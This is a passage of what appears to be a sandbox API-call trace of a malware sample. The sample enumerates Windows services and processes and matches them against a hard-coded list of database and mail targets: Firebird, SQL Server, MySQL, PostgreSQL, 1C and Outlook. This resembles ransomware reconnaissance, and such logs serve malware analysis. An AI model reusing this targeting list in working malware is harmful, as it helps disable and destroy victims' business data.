(lpString1="sqlwriter", lpString2="Themes") returned -1 [0163.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0163.684] lstrlenW (lpString="TrkWks") returned 6 [0163.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0163.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0163.684] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0163.684] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0163.684] lstrlenW (lpString="UxSms") returned 5 [0163.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0163.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0163.684] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0163.684] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0163.684] lstrlenW (lpString="WdiServiceHost") returned 14 [0163.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0163.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0163.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0163.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0163.685] lstrlenW (lpString="WdiSystemHost") returned 13 [0163.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0163.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0163.685] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0163.685] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0163.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0163.685] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0163.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0163.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0163.685] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0163.685] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0163.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0163.685] lstrlenW (lpString="Winmgmt") returned 7 [0163.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0163.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0163.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0163.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0163.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0163.685] lstrlenW (lpString="WPDBusEnum") returned 10 [0163.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0163.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0163.685] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0163.685] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0163.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0163.685] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0163.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0163.687] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.688] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.688] lstrlenW (lpString="System") returned 6 [0163.688] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0163.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0163.688] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0163.688] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0163.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0163.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0163.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0163.688] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.689] lstrlenW (lpString="smss.exe") returned 8 [0163.689] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0163.689] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.689] lstrlenW (lpString="csrss.exe") returned 9 [0163.689] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0163.689] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0163.689] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0163.689] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0163.689] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0163.689] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0163.689] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.690] lstrlenW (lpString="wininit.exe") returned 11 [0163.690] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0163.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0163.690] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0163.690] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0163.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0163.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0163.690] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0163.690] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.690] lstrlenW (lpString="csrss.exe") returned 9 [0163.690] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0163.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0163.690] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0163.690] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0163.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0163.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0163.690] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.691] lstrlenW (lpString="winlogon.exe") returned 12 [0163.691] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.691] lstrlenW (lpString="services.exe") returned 12 [0163.691] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.691] lstrlenW (lpString="lsass.exe") returned 9 [0163.691] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0163.692] lstrlenW (lpString="lsm.exe") returned 7 [0163.692] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.692] lstrlenW (lpString="svchost.exe") returned 11 [0163.692] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.692] lstrlenW (lpString="svchost.exe") returned 11 [0163.692] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.693] lstrlenW (lpString="svchost.exe") returned 11 [0163.693] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.693] lstrlenW (lpString="svchost.exe") returned 11 [0163.693] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.693] lstrlenW (lpString="svchost.exe") returned 11 [0163.693] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.694] lstrlenW (lpString="audiodg.exe") returned 11 [0163.694] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.694] lstrlenW (lpString="svchost.exe") returned 11 [0163.694] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.694] lstrlenW (lpString="explorer.exe") returned 12 [0163.694] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.695] lstrlenW (lpString="dwm.exe") returned 7 [0163.695] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.695] lstrlenW (lpString="svchost.exe") returned 11 [0163.695] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0163.695] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0163.695] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.695] lstrlenW (lpString="spoolsv.exe") returned 11 [0163.696] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0163.696] lstrlenW (lpString="reader_sl.exe") returned 13 [0163.696] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.696] lstrlenW (lpString="svchost.exe") returned 11 [0163.696] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.696] lstrlenW (lpString="taskhost.exe") returned 12 [0163.696] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.697] lstrlenW (lpString="dllhost.exe") returned 11 [0163.697] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.697] lstrlenW (lpString="taskhost.exe") returned 12 [0163.697] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0163.697] lstrlenW (lpString="consent.exe") returned 11 [0163.697] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0163.698] CloseHandle (hObject=0x3d0) returned 1 [0163.698] Sleep (dwMilliseconds=0x1f4) [0164.261] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0164.262] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0164.262] GetLastError () returned 0xea [0164.262] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0164.262] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0164.263] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0164.263] lstrlenW (lpString="Appinfo") returned 7 [0164.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0164.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0164.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0164.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0164.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0164.263] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.264] lstrlenW (lpString="AudioSrv") returned 8 [0164.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0164.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0164.264] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0164.264] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0164.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0164.264] lstrlenW (lpString="BFE") returned 3 [0164.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.264] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.264] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.264] lstrlenW (lpString="CryptSvc") returned 8 [0164.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.264] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.264] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.264] lstrlenW (lpString="CscService") returned 10 [0164.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0164.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0164.264] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0164.264] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0164.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0164.264] lstrlenW (lpString="DcomLaunch") returned 10 [0164.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.264] lstrlenW (lpString="Dhcp") returned 4 [0164.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.265] lstrlenW (lpString="Dnscache") returned 8 [0164.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.265] lstrlenW (lpString="DPS") returned 3 [0164.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.265] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.265] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.265] lstrlenW (lpString="eventlog") returned 8 [0164.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0164.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0164.265] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0164.265] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0164.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0164.265] lstrlenW (lpString="EventSystem") returned 11 [0164.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.265] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.265] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.265] lstrlenW (lpString="gpsvc") returned 5 [0164.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.265] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.265] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.265] lstrlenW (lpString="iphlpsvc") returned 8 [0164.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.266] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.266] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.266] lstrlenW (lpString="LanmanServer") returned 12 [0164.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.266] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.266] lstrlenW (lpString="lmhosts") returned 7 [0164.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.266] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.266] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.266] lstrlenW (lpString="MMCSS") returned 5 [0164.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0164.266] 